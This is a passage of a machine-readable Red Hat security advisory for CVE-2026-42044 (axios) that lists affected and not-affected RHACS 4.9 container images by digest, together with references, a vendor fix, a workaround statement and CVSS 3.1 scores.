"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42044"
},
{
"category": "external",
"summary": "RHBZ#2461624",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461624"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42044",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42044"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42044",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42044"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23"
}
],
"release_date": "2026-04-24T17:49:49.517000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T14:29:00+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
